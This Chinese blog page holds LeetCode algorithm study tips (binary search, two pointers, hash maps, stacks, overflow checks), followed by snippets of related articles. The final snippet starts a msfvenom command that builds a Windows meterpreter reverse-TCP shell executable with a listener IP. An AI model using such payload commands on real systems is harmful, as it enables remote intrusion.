leetcode再次总结
注释 testcases
(1)简单一想O(n)算法,有可能通过二分查找变形优化成log(n)
(2)双指针:一快一慢 一静一动(数组中最小的长度满足条件,常常用于,确定了一个范围,然后一个指针静止,一个指针收缩) 一前一后
(3)二分查找可以一次性做完,也可以分两次来做,一次用于二分查找左边确定左边界,一次用于二分查找确定右边界。
(4)数字理解成二进制的方法,就是通过一个bitvector,简而言之一个32位的数组,循环每一位进行处理。
(5)Maximum Subarray 问题,用localMax 记录每一次局部最大值,全局的最大值是局部最大值的最大值。
(6)找一个数字[1,n]中满足某个条件的数字,也可以把数字看成一个数组,通过采用二分查找的方式解决。
(7)一个hashmap 不够就用两个,一个用于记录原始的key,value值,一个用于扫描式和原始的hashmap进行比对。
(8)对于数学规律题,一定要多写几个case观察规律,尤其是数组中的规律问题。
(9)在代码写完之时,一定一定一定不能急,要写好test case
(10)多用hashset hashmap 利用空间复杂度先解决问题为上策
(11)一旦涉及到两个数的关系( ret = (((dividend ^ divisor) >> 31) & 1) == 1 ? -ret: ret;),就要考虑到两个数是正负号问题,是否会溢出问题。
(12)stack的应用不一定要存value 也可以存index,存index的好处是 一方面可以通过index获取到value 另外一方面可以通过Index解决 最长 最短问题。
leetcode再次总结的更多相关文章
- [LeetCode] Longest Substring with At Least K Repeating Characters 至少有K个重复字符的最长子字符串
Find the length of the longest substring T of a given string (consists of lowercase letters only) su ...
- Leetcode 笔记 98 - Validate Binary Search Tree
题目链接:Validate Binary Search Tree | LeetCode OJ Given a binary tree, determine if it is a valid binar ...
- Leetcode 笔记 36 - Sudoku Solver
题目链接:Sudoku Solver | LeetCode OJ Write a program to solve a Sudoku puzzle by filling the empty cells ...
- [LeetCode] Matchsticks to Square 火柴棍组成正方形
Remember the story of Little Match Girl? By now, you know exactly what matchsticks the little match ...
- [LeetCode] Split Array Largest Sum 分割数组的最大值
Given an array which consists of non-negative integers and an integer m, you can split the array int ...
- [LeetCode] Coin Change 硬币找零
You are given coins of different denominations and a total amount of money amount. Write a function ...
- [LeetCode] Additive Number 加法数
Additive number is a positive integer whose digits can form additive sequence. A valid additive sequ ...
- [LeetCode] Word Pattern II 词语模式之二
Given a pattern and a string str, find if str follows the same pattern. Here follow means a full mat ...
- [LeetCode] Single Number III 单独的数字之三
Given an array of numbers nums, in which exactly two elements appear only once and all the other ele ...
随机推荐
- tmobst3
1.(单选题)如果数据库是oracle,则generator属性值不可以使用(). A)native B)identity C)hilo D)sequence 2.(单选题)为了获得用户提交的表单参数 ...
- C语言关于getchar()的小笔记
#include <windows.h> #include <mmsystem.h> #include <string.h> void main() { int a ...
- 使用纯C++迭代器编写归并排序
第一次尝试用C++迭代器编写算法,使用的是纯迭代器 void mergeSort(vector<int>::iterator beg, vector<int>::iterato ...
- Codeforces_821
A.直接判断每一个数. #include<bits/stdc++.h> using namespace std; ][]; int main() { ios::sync_with_stdi ...
- 用Java实现简单的网络聊天程序
Socket套接字定义: 套接字(socket)是一个抽象层,应用程序可以通过它发送或接收数据,可对其进行像对文件一样的打开.读写和关闭等操作.套接字允许应用程序将I/O插入到网络中,并与网络中的其他 ...
- Why Oracle VIP can not be switched to original node ?
Oracle RAC is an share everything database architecture. The article is how to check out why virtual ...
- JMeter之If Controller深究一
1.背景 大家最近还好么,截止目前新型冠状病毒累计确诊病例已超7万4千多例,希望大家无论是在家办公还是单位办公,一定要注意自我防护.今天跟大家分享一下,最近一次真实生产压测遇到的问题,如题:if co ...
- firewall-cmd命令
firewalld 基本操作 安装firewalld # yum install firewalld firewall-config firewalld启动,停止,开机启动与否,查看状态 # syst ...
- 1215 - Finding LCM
1215 - Finding LCM LCM is an abbreviation used for Least Common Multiple in Mathematics. We say LC ...
- msf制作反弹shell
msf制作shell 1 .制作反弹shell-exe文件 执行命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=2x.94.50.153 LP ...